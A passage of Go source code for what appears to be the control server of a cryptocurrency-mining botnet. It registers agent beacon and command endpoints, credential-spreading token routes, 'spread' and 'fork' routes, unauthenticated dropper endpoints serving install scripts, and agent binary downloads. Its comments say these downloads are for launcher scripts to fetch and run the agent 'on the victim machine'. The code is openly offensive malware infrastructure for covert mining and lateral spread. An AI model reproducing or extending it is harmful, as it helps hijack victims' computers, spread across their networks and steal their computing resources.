if len(payload.Password) < 4 || len(payload.Password) > 128 {
|
|
http.Error(w, "password must be 4-128 characters", http.StatusBadRequest)
|
|
return
|
|
}
|
|
usersMu.RLock()
|
|
_, exists := authUsers[payload.Username]
|
|
usersMu.RUnlock()
|
|
if exists {
|
|
http.Error(w, "username already exists", http.StatusConflict)
|
|
return
|
|
}
|
|
if err := saveUser(payload.Username, payload.Password); err != nil {
|
|
http.Error(w, "Failed to save user", http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeJSON(w, map[string]interface{}{"success": true})
|
|
})
|
|
|
|
// Deck backup ? authenticated full backup ZIP (config + DB + users)
|
|
backupH := NewBackupHandler(dataDir, version)
|
|
r.Get("/backup", backupH.ServeHTTP)
|
|
|
|
// Path Tracer ? on-demand WireGuard chain sessions
|
|
if pathTracerHandler != nil {
|
|
r.Post("/pathtrace/start", pathTracerHandler.Start)
|
|
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
|
|
r.Post("/pathtrace/spread-route", pathTracerHandler.SpreadRoute)
|
|
r.Post("/pathtrace/spread", pathTracerHandler.Spread)
|
|
r.Post("/pathtrace/fork", pathTracerHandler.Fork)
|
|
r.Post("/pathtrace/merge", pathTracerHandler.Merge)
|
|
r.Get("/pathtrace/{id}/status", pathTracerHandler.Status)
|
|
r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR)
|
|
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
|
|
}
|
|
|
|
// Agent autonomy REST ? forged Go agents only (X-Fleet-Secret header).
|
|
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
|
|
r.Post("/agent/decide", aiHandler.HandleDecide)
|
|
r.Post("/agent/report", aiHandler.HandleReport)
|
|
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
|
|
r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
|
|
r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
|
|
if spreadCredHandler != nil {
|
|
r.Post("/agent/spread-cred/issue", spreadCredHandler.IssueToken)
|
|
r.Post("/agent/spread-cred/redeem", spreadCredHandler.RedeemToken)
|
|
r.Post("/agent/spread-cred/report", spreadCredHandler.ReportEdge)
|
|
}
|
|
if deployPlanHandler != nil {
|
|
r.Post("/agent/deploy-plan", deployPlanHandler.PostDeployPlan)
|
|
}
|
|
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
|
|
|
|
// Public builds (also bypass auth in middleware ? listed here for chi routing)
|
|
if publicHandler != nil {
|
|
r.Get("/public/builds", publicHandler.ListBuilds)
|
|
r.Get("/public/download/{id}", publicHandler.Download)
|
|
r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download)
|
|
r.Get("/public/dns-txt/{record}", publicHandler.DNSTXTShard)
|
|
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
|
|
r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
|
|
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
|
|
r.Get("/public/policy-snapshot/{token}", publicHandler.PolicySnapshot)
|
|
}
|
|
})
|
|
|
|
// WebSocket
|
|
r.Get("/ws/agent", wsHub.HandleAgentWS)
|
|
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
|
|
|
|
// One-liner remote install endpoints (unauthenticated ? URL knowledge is the gate)
|
|
if dropperHandler != nil {
|
|
r.Get("/get", dropperHandler.ServeGet)
|
|
r.Get("/install.sh", dropperHandler.ServeSh)
|
|
r.Get("/install.ps1", dropperHandler.ServePs1)
|
|
r.Get("/install.command", dropperHandler.ServeCommand)
|
|
}
|
|
|
|
// SUPP Seek agent download endpoints ? serve agent binaries so launcher scripts
|
|
// dropped by Seek Mode can fetch and run the agent on the victim machine.
|
|
// Unauthenticated (the drop URL itself is the secret).
|
|
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
|
|
r.Get("/api/download/agent-mac", serveAgentBinary("mac"))
|
|
r.Get("/api/download/agent-linux", serveAgentBinary("linux"))
|
|
|
|
r.Get("/recon/ping/{scan_id}", func(w http.ResponseWriter, r *http.Request) {
|
|
writeJSON(w, map[string]interface{}{"ok": false, "error": "canary not configured"})
|
|
})
|
|
|
|
// Serve frontend SPA
|
|
if webRoot != "" {
|
|
// Check if webroot directory exists
|
|
if info, err := os.Stat(webRoot); err == nil && info.IsDir() {
|
|
// Create a file server for the webroot
|
|
fileServer := http.FileServer(http.Dir(webRoot))
|
|
|
|
// SPA fallback: serve index.html for all non-API, non-WebSocket routes
|
|
r.Get("/*", func(w http.ResponseWriter, r *http.Request) {
|
|
// Clean the path
|
|
path := strings.TrimPrefix(r.URL.Path, "/")
|
|
if path == "" || strings.Contains(path, "..") {
|
|
w.Header().Set("Cache-Control", "no-cache, no-store, must-revalidate")
|
|
http.ServeFile(w, r, filepath.Join(webRoot, "index.html"))
|
|
return
|
|
}
|
|
fullPath := filepath.Join(webRoot, path)
|
|
|
|
// Check if the file exists
|
|
if _, err := os.Stat(fullPath); err == nil {
|
|
fileServer.ServeHTTP(w, r)
|
|
return
|
|
}
|
|
|
|
// SPA fallback - serve index.html (never cache: hashed assets change each build)
|
|
w.Header().Set("Cache-Control", "no-cache, no-store, must-revalidate")
|
|
http.ServeFile(w, r, filepath.Join(webRoot, "index.html"))
|
|
})
|
|
} else {
|
|
// Fallback if webroot doesn't exist
|
|
r.Get("/", func(w http.ResponseWriter, r *http.Request) {
|
|
w.Header().Set("Content-Type", "text/html")
|
|
w.Write([]byte(`<!DOCTYPE html><html><head><title>Crypto Miner</title></head><body>
|
|
<h1>Crypto Miner Control Server</h1>
|
|
<p>Server is running. Build the frontend with <code>cd server/web && npm install && npm run build</code></p>
|
|
<p>API: <a href="/api/v1/health">/api/v1/health</a></p>
|
|
</body></html>`))
|
|
})
|
|
}
|
|
} else {
|
|
r.Get("/", func(w http.ResponseWriter, r *http.Request) {
|
|
w.Header().Set("Content-Type", "text/html")
|
|
w.Write([]byte(`<!DOCTYPE html><html><head><title>Crypto Miner</title></head><body>
|
|
<h1>Crypto Miner Control Server</h1>
|
|
<p>Server is running. No frontend configured.</p>
|
|
<p>API: <a href="/api/v1/health">/api/v1/health</a></p>
|
|
</body></html>`))
|
|
})
|
|
}
|
|
|
|
return r
|
|
}
|
|
|
|
// agentBinaryCandidates returns search paths and the Content-Disposition filename
|
|
// for SUPP Seek agent downloads. dir is typically the directory containing the
|
|
// running server executable (USB bundle root or dev build output).
|
|
func agentBinaryCandidates(platform, dir string) (candidates []string, dlName string) {
|
|
switch platform {
|
|
case "windows":
|
|
dlName = "crypto-miner-agent.exe"
|
|
candidates = []string{
|
|
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
|
|
filepath.Join(dir, "crypto-miner-agent.exe"),
|
|
}
|
|
case "mac":
|
|
dlName = "crypto-miner-agent"
|
|
candidates = []string{
|
|
filepath.Join(dir, "agent", "crypto-miner-agent-darwin"),
|
|
filepath.Join(dir, "crypto-miner-agent-darwin"),
|
|
filepath.Join(dir, "agent", "crypto-miner-agent"),
|
|
}
|
|
case "linux":
|
|
dlName = "crypto-miner-agent"
|
|
candidates = []string{
|
|
filepath.Join(dir, "agent", "crypto-miner-agent-linux"),
|
|
filepath.Join(dir, "crypto-miner-agent-linux"),
|
|
filepath.Join(dir, "agent", "crypto-miner-agent"),
|
|
}
|
|
}
|
|
return candidates, dlName
|
|
}
|
|
|
|
// findAgentBinary locates the first existing candidate under dir.
|
|
func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
|
|
candidates, dlName := agentBinaryCandidates(platform, dir)
|
|
for _, c := range candidates {
|
|
if _, err := os.Stat(c); err == nil {
|
|
return c, dlName, true
|
|
}
|
|
}
|
|
return "", dlName, false
|
|
}
|
|
|
|
// serveAgentBinary returns an HTTP handler that streams the agent binary for
|
|
// the requested platform. It looks for the binary next to the running server
|
|
// exe so it works both from the USB bundle and from a compiled dev build.
|
|
//
|
|
// Filename convention (same as what the build pipeline produces):
|
|
// - windows ? crypto-miner-agent.exe
|
|
// - mac/linux ? crypto-miner-agent (no extension)
|
|
// agentBinarySearchDir returns the directory used to locate bundled agent binaries.
|
|
// Tests may override this to point at a temp tree instead of os.Executable()'s dir.
|
|
var agentBinarySearchDir = func() (string, error) {
|
|
exe, err := os.Executable()
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
return filepath.Dir(exe), nil
|
|
}
|
|
|
|
func serveAgentBinary(platform string) http.HandlerFunc {
|
|
return func(w http.ResponseWriter, r *http.Request) {
|
|
dir, err := agentBinarySearchDir()
|
|
if err != nil {
|
|
http.Error(w, "server exe not found", http.StatusInternalServerError)
|
|
return
|
|
}
|
|
binPath, dlName, ok := findAgentBinary(platform, dir)
|
|
if !ok {
|
|
log.Printf("[supp] agent binary not found for platform=%s (looked in %s)", platform, dir)
|
|
http.Error(w, "agent binary not available for "+platform, http.StatusNotFound)
|
|
return
|
|
}
|
|
w.Header().Set("Content-Type", "application/octet-stream")
|
|
w.Header().Set("Content-Disposition", `attachment; filename="`+dlName+`"`)
|
|
http.ServeFile(w, r, binPath)
|
|
}
|
|
}
|